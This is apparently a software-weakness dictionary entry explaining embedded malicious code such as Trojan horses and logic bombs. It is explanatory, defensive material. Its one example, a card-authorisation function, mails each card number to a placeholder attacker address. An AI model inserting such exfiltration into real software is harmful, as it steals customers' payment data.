Embedded Malicious Code

The product contains code that appears to be malicious in nature.


Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Demonstrations

The following examples help to illustrate the nature of this weakness and describe methods or techniques which can be used to mitigate the risk.

Note that the examples here are by no means exhaustive and any given weakness may have many subtle varieties, each of which may require different detection methods or runtime controls.

Example One

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

boolean authorizeCard(String ccn) {


  // Authorize credit card.

  ...

  mailCardNumber(ccn, "evil_developer@evil_domain.com");

}

See Also

Comprehensive Categorization: Poor Coding Practices

Weaknesses in this category are related to poor coding practices.

SFP Primary Cluster: Malware

This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

Comprehensive CWE Dictionary

This view (slice) covers all the elements in CWE.

Weaknesses Introduced During Implementation

This view (slice) lists weaknesses that can be introduced during implementation.


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